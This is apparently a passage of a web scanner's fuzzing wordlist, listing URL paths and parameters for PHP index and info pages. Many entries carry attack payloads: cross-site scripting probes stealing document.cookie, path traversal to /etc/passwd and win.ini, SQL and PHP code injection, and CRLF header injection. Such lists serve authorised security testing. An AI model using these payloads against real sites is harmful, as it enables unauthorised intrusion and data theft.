/index.php?rep=<script>alert(document.cookie)</script>
/index.php?root_path=
/index.php?s=
/index.php?s=%27%3E%3Cscript%3Ealert%281976%29%3C%2Fscript%3E&act=Search&CODE=01&forums=all
/index.php?s=%3Cscript%3Ealert%288950%29%3C%2Fscript%3E
/index.php?s=&act=army&userstat=%27
/index.php?s=/../../../../../../../../boot.ini%00
/index.php?s=/../../../../../../../../etc/passwd%00
/index.php?s=/../../../../../../../../winnt/win.ini%00
/index.php?s=21355e75e21dcc4c04e24c5c7247b220&act=Search&CODE=01&forums=%27%3E%3Cscript%3Ealert%281974%29%3C%2Fscript%3E
/index.php?s=r57ipb216_for_IDS
/index.php?screen=
/index.php?searchword=%22%3Bphpinfo%28%29%3B%23&option=com_search&Itemid=1
/index.php?searchword=%22;echo%20md5(911);%23&option=com_search&Itemid=1
/index.php?sec=
/index.php?secao=
/index.php?seccion=
/index.php?section=gallery&cmd=showCat&cid=41&pId=%27
/index.php?seite=
/index.php?sekce=
/index.php?sel=
/index.php?select=
/index.php?session=0&action=openforum&cat=%27
/index.php?session=0&action=openforum&cat=force_error
/index.php?set=
/index.php?setLang=AppScan&lang%5BAppScan%5D%5Bfile%5D=%3Cscript%3Ealert%281836%29%3C%2Fscript%3E
/index.php?setLang=AppScan&lang[AppScan][file]=/../../../../../../../../boot.ini%00
/index.php?setLang=AppScan&lang[AppScan][file]=/../../../../../../../../etc/passwd%00
/index.php?setLang=AppScan&lang[AppScan][file]=/../../../../../../../../winnt/win.ini%00
/index.php?set_theme=%3Cscript%3Ealert%281802%29%3C%2Fscript%3E
/index.php?sf=
/index.php?show=
/index.php?show='%22%3E%3Cscript%3Ealert(xss)%3C/script%3E
/index.php?show=../index
/index.php?show=/etc/passwd
/index.php?show=1&catid='
/index.php?showforum=1&prune_day=100&sort_by=Z-A&sort_key=[sqlgoeshere]
/index.php?showimage=%27
/index.php?showimage=1&popup=comment
/index.php?showtopic=1&st=%27%3E%3Cscript%3Ealert%281972%29%3C%2Fscript%3E
/index.php?side=
/index.php?sit=
/index.php?site%5B%5D=AppScan
/index.php?site1=
/index.php?site=
/index.php?site='
/index.php?site=c:\boot.ini%00
/index.php?site=c:\windows\win.ini%00
/index.php?site=calendar&action=announce&month=%22%3E%3Cscript%3Ealert%289418%29%3C%2Fscript%3E
/index.php?site=calendar&action=announce&month=%22%3E%3Cscript%3Ealert%289462%29%3C%2Fscript%3E
/index.php?site=calendar&action=announce&tag=%22%3E%3Cscript%3Ealert%289416%29%3C%2Fscript%3E
/index.php?site=calendar&action=announce&tag=%22%3E%3Cscript%3Ealert%289460%29%3C%2Fscript%3E
/index.php?site=calendar&action=announce&upID=%22%3E%3Cscript%3Ealert%289414%29%3C%2Fscript%3E
/index.php?site=calendar&action=announce&upID=%22%3E%3Cscript%3Ealert%289458%29%3C%2Fscript%3E
/index.php?site=calendar&action=announce&userID=%22%3E%3Cscript%3Ealert%289420%29%3C%2Fscript%3E
/index.php?site=calendar&action=announce&userID=%22%3E%3Cscript%3Ealert%289464%29%3C%2Fscript%3E
/index.php?site=calendar&action=announce&year=%22%3E%3Cscript%3Ealert%289422%29%3C%2Fscript%3E
/index.php?site=calendar&action=announce&year=%22%3E%3Cscript%3Ealert%289466%29%3C%2Fscript%3E
/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
/index.php?site=news&showonly=%20AND%20SUBSTRING((SELECT
/index.php?site=usergallery&action=upload&galleryID=%22%3E%3Cscript%3Ealert%289412%29%3C%2Fscript%3E
/index.php?site=usergallery&action=upload&galleryID=%22%3E%3Cscript%3Ealert%289456%29%3C%2Fscript%3E
/index.php?site=warn&f='&warn=0
/index.php?site=whoisonline&sort=%22%3E%3Cscript%3Ealert%289656%29%3C%2Fscript%3E
/index.php?siteID='&op=show&aftersid=380
/index.php?sivu=
/index.php?skin=%3Cscript%3Ealert%28406167103371%29%3C%2Fscript%3E
/index.php?skin_file=
/index.php?sl=/../../../../../../../../boot.ini%00
/index.php?sl=/../../../../../../../../etc/passwd%00
/index.php?sl=/../../../../../../../../winnt/win.ini%00
/index.php?slang=
/index.php?sort=
/index.php?sort='
/index.php?spage=
/index.php?sql_debug=1
/index.php?ss=
/index.php?st=
/index.php?static_page_id=%27
/index.php?str=
/index.php?stranica=
/index.php?strona=
/index.php?sub=
/index.php?subp=
/index.php?subpage=
/index.php?t=
/index.php?table=
/index.php?tag=%3C%2Ftitle%3E%3Cscript%3Ealert%288510%29%3C%2Fscript%3E
/index.php?tampon=test%20
/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=0&q=%2527&x=11&y=3&sort_by=product&sort_order=%27
/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=0&q=&x=11&y=3&sort_by=%27
/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=3&q=%22%20style%3D%22background:expression(alert(9746))%22%20OA%3D%22&.x=0&.y=0
/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshort=Y&pfull=Y&pname=Y&pkeywords=Y&cid=0&q=%22%20onfocus=%22alert(xss)&x=0&y=0
/index.php?task=
/index.php?tasks=all%22%3E%3Cscript%3Ealert%28%22force-XSS%22%29%3C%2Fscript%3E%26project%3D0
/index.php?template=
/index.php?template=%3Cscript%3Ealert%282950%29%3C%2Fscript%3E
/index.php?template=/../../../../../../../../boot.ini%00
/index.php?template=/../../../../../../../../etc/passwd%00
/index.php?template=/../../../../../../../../winnt/win.ini%00
/index.php?template=AppScan
/index.php?templateid=
/index.php?term=
/index.php?term=%3Cscript%3Ealert%282002%29%3C%2Fscript%3E&in=song&action=search&start=0
/index.php?term=hit&in=song&action=search&start=%27
/index.php?textfield=
/index.php?textlinkads_action=sync_posts&textlinkads_post_id='/**/UNION/**/SELECT/**/1,2,3,4,5,402797100765,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
/index.php?theme=
/index.php?theme=/../../../../../../../../boot.ini%00
/index.php?theme=/../../../../../../../../etc/passwd%00
/index.php?theme=/../../../../../../../../winnt/win.ini%00
/index.php?themesdir=
/index.php?tim=%27
/index.php?tipo=
/index.php?to=
/index.php?todo=showsubsite&subsite=/../../../../../../../../boot.ini%00
/index.php?todo=showsubsite&subsite=/../../../../../../../../etc/passwd%00
/index.php?todo=showsubsite&subsite=/../../../../../../../../winnt/win.ini%00
/index.php?top_message=&lt;script&gt;alert(document.cookie)&lt;/script&gt; 
/index.php?topic=
/index.php?topic=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;%20
/index.php?trans=
/index.php?type=
/index.php?u=
/index.php?url=
/index.php?user_langue=../../../../../etc/passwd
/index.php?username="><script>alert(xss)</script>
/index.php?v=
/index.php?v=list&i=0&p=%3Cscript%3Ealert%282376%29%3C%2Fscript%3E
/index.php?v=list&i=0&p=/../../../../../../../../boot.ini%00
/index.php?v=list&i=0&p=/../../../../../../../../etc/passwd%00
/index.php?v=list&i=0&p=/../../../../../../../../winnt/win.ini%00
/index.php?v=newtopic&c=1
/index.php?v=view&i=0&p=simo64
/index.php?var1=
/index.php?var2=
/index.php?var=
/index.php?ver=
/index.php?vis=
/index.php?visualizar=
/index.php?vo=\"><script>alert(document.cookie);</script>
/index.php?vpagina=
/index.php?w=
/index.php?way=
/index.php?where=
/index.php?wiki=../passwd.php
/index.php?words=%20&where=1&limit=%27
/index.php?words=%20&where=1&limit=40&last=%27
/index.php?wpage=
/index.php?x=
/index.php?x=browse&archivedate=%27
/index.php?x=browse&category=%27
/index.php?xoopsOption=test
/index.php?xoopsOption[nocommon]=1&xoopsConfig[theme_set]=/../../../../../../../../boot.ini%00
/index.php?xoopsOption[nocommon]=1&xoopsConfig[theme_set]=/../../../../../../../../etc/passwd%00
/index.php?xoopsOption[nocommon]=1&xoopsConfig[theme_set]=/../../../../../../../../winnt/win.ini%00
/index.php?y=
/index.php?year=%3C/title%3E%3Cscript%3Ealert(xss)%3C/script%3E%3Ctitle%3E
/index.php?|=../../../../../../../../../etc/passwd
/index.phpmain.php?x=
/index.resx
/index.sav
/index.save
/index.shtml
/index.sln
/index.temp
/index.tmp
/index.vb
/index.vbproj
/index.yaws%00
/index.~1
/index.~bk
/index/
/index/%22%3e%3cscript%3ealert(25390)%3c/script%3e
/index/%22%3e%3cscript%3ealert(25396)%3c/script%3e
/index/%3cimg%20src%3d%22javascript%3aalert(25392)%22%3e
/index/%3cimg%20src%3d%22javascript%3aalert(25398)%22%3e
/index/?>'"><script>alert(25394)</script>
/index/?>'"><script>alert(25400)</script>
/index0.php?show=
/index1
/index1.php?*[*]*=
/index1.php?*root*=
/index1.php?=
/index1.php?OpenPage=
/index1.php?abre=
/index1.php?action=
/index1.php?adresa=
/index1.php?arg=
/index1.php?arq=
/index1.php?b=
/index1.php?body=
/index1.php?c=
/index1.php?chapter=
/index1.php?choix=
/index1.php?cmd=
/index1.php?d=
/index1.php?dat=
/index1.php?dir=
/index1.php?filepath=
/index1.php?func=
/index1.php?get=
/index1.php?go=
/index1.php?goFile=
/index1.php?home=
/index1.php?inc=
/index1.php?incl=
/index1.php?itemnav=
/index1.php?l=
/index1.php?link=
/index1.php?lk=
/index1.php?ln=
/index1.php?load=
/index1.php?loc=
/index1.php?ltr=
/index1.php?menu=
/index1.php?mid=
/index1.php?mod=
/index1.php?modo=
/index1.php?my=
/index1.php?nivel=
/index1.php?o=
/index1.php?oldal=
/index1.php?op=
/index1.php?p=
/index1.php?pa=
/index1.php?page=
/index1.php?pagina=
/index1.php?param=
/index1.php?path=
/index1.php?pg=
/index1.php?pname=
/index1.php?pollname=
/index1.php?pr=
/index1.php?pre=
/index1.php?qry=
/index1.php?read=
/index1.php?recipe=
/index1.php?redirect=
/index1.php?s=
/index1.php?second=
/index1.php?seite=
/index1.php?sekce=
/index1.php?show=
/index1.php?showpage=
/index1.php?site=
/index1.php?str=
/index1.php?strona=
/index1.php?subject=
/index1.php?t=
/index1.php?table=
/index1.php?texto=
/index1.php?tipo=
/index1.php?type=
/index1.php?url=
/index1.php?v=
/index1.php?var=
/index1.php?x=
/index2.php?=
/index2.php?DoAction=
/index2.php?ID=
/index2.php?OpenPage=
/index2.php?action=
/index2.php?adresa=
/index2.php?arg=
/index2.php?arq=
/index2.php?ascii_seite=
/index2.php?base_dir=
/index2.php?basepath=
/index2.php?c=
/index2.php?category=
/index2.php?channel=
/index2.php?chapter=
/index2.php?choix=
/index2.php?cmd=
/index2.php?cont=
/index2.php?content=
/index2.php?corpo=
/index2.php?d=
/index2.php?doshow=
/index2.php?e=
/index2.php?f=
/index2.php?filepath=
/index2.php?get=
/index2.php?goto=
/index2.php?home=
/index2.php?i=
/index2.php?in=
/index2.php?inc=
/index2.php?incl=
/index2.php?include=
/index2.php?ir=
/index2.php?itemnav=
/index2.php?ki=
/index2.php?l=
/index2.php?left=
/index2.php?lg=
/index2.php?link=
/index2.php?lk=
/index2.php?ln=
/index2.php?lng=
/index2.php?load=
/index2.php?loader=
/index2.php?loc=
/index2.php?loca=
/index2.php?meio=
/index2.php?module=
/index2.php?my=
/index2.php?oldal=
/index2.php?open=
/index2.php?option=
/index2.php?option=com_content&task=-99%27
/index2.php?option=frontpage/../../../../../../../../boot.ini%00
/index2.php?option=frontpage/../../../../../../../../etc/passwd%00
/index2.php?option=frontpage/../../../../../../../../winnt/win.ini%00
/index2.php?p=
/index2.php?pa=
/index2.php?pag=
/index2.php?param=
/index2.php?pg=
/index2.php?pg=2&item_id=11&sort=5%27%3E%22%3E%27%3E%3Cscript%3Ealert%282902%29%3C%2Fscript%3E%3C%22%3C%22%3C%22%3C%22&order=DESC
/index2.php?phpbb_root_path=
/index2.php?pname=
/index2.php?pollname=
/index2.php?pre=
/index2.php?pref=
/index2.php?qry=
/index2.php?recipe=
/index2.php?redirect=
/index2.php?ref=
/index2.php?rub=
/index2.php?s=
/index2.php?second=
/index2.php?section=
/index2.php?sekce=
/index2.php?showpage=
/index2.php?strona=
/index2.php?table=
/index2.php?texto=
/index2.php?thispage=
/index2.php?to=
/index2.php?type=
/index2.php?u=
/index2.php?url_page=
/index2.php?var=
/index2.php?x=
/index3.php?abre=
/index3.php?addr=
/index3.php?adresa=
/index3.php?base_dir=
/index3.php?body=
/index3.php?channel=
/index3.php?chapter=
/index3.php?choix=
/index3.php?cmd=
/index3.php?d=
/index3.php?destino=
/index3.php?dir=
/index3.php?disp=
/index3.php?ev=
/index3.php?get=
/index3.php?go=
/index3.php?home=
/index3.php?inc=
/index3.php?include=
/index3.php?index=
/index3.php?ir=
/index3.php?itemnav=
/index3.php?left=
/index3.php?link=
/index3.php?loader=
/index3.php?menue=
/index3.php?mid=
/index3.php?middle=
/index3.php?mod=
/index3.php?my=
/index3.php?name=
/index3.php?nivel=
/index3.php?oldal=
/index3.php?open=
/index3.php?option=
/index3.php?p=
/index3.php?pag=
/index3.php?pageweb=
/index3.php?panel=
/index3.php?path=
/index3.php?phpbb_root_path=
/index3.php?pname=
/index3.php?pollname=
/index3.php?pre=
/index3.php?pref=
/index3.php?q=
/index3.php?read=
/index3.php?redirect=
/index3.php?ref=
/index3.php?rub=
/index3.php?secao=
/index3.php?secc=
/index3.php?seccion=
/index3.php?second=
/index3.php?sekce=
/index3.php?showpage=
/index3.php?sivu=
/index3.php?sp=
/index3.php?start=
/index3.php?t=
/index3.php?thispage=
/index3.php?tipo=
/index3.php?type=
/index3.php?url=
/index3.php?var=
/index3.php?x=
/index3.php?xlink=
/index?%3E%27%22%3E%3Cscript%3Ealert%2825404%29%3C%2Fscript%3E=123
/index?%3E%27%22%3E%3Cscript%3Ealert%2825408%29%3C%2Fscript%3E=123
/index?>'"><script>alert(25402)</script>
/index?>'"><script>alert(25406)</script>
/index?DEBUG=1
/index?DEBUG=ON
/index?Debug=T
/index?Debug=true
/index?Debug=yes
/index?Foobar%0D%0AAppScanHeader:%20AppScanValue/1.2-3%0D%0aSecondAppScanHeader:%20whatever=Foobar%0D%0aAppScanHeader:%20AppScanValue/1.2-3%0D%0aSecondAppScanHeader:%20whatever
/index?dbg=on
/indexFoobar%0d%0aAppScanHeader:%20AppScanValue%2f1%2e2%2d3%0d%0aSecondAppScanHeader:%20whatever
/index_principal.php?pagina=
/index~
/index~1
/index~bk
/indy/
/inexistent_file.txt
/info
/info.php
/info.php?*[*]*=
/info.php?adresa=
/info.php?base_dir=
/info.php?body=
/info.php?c=
/info.php?chapter=
/info.php?content=
/info.php?doshow=
/info.php?ev=
/info.php?eval=
/info.php?f=
/info.php?filepath=
/info.php?go=
/info.php?header=
/info.php?home=
/info.php?id=403557101390&return_=3444444445'
/info.php?in=
/info.php?incl=
/info.php?ir=
/info.php?itemnav=
/info.php?j=
/info.php?ki=
/info.php?l=
/info.php?ln=
/info.php?loader=
/info.php?menue=
/info.php?mid=
/info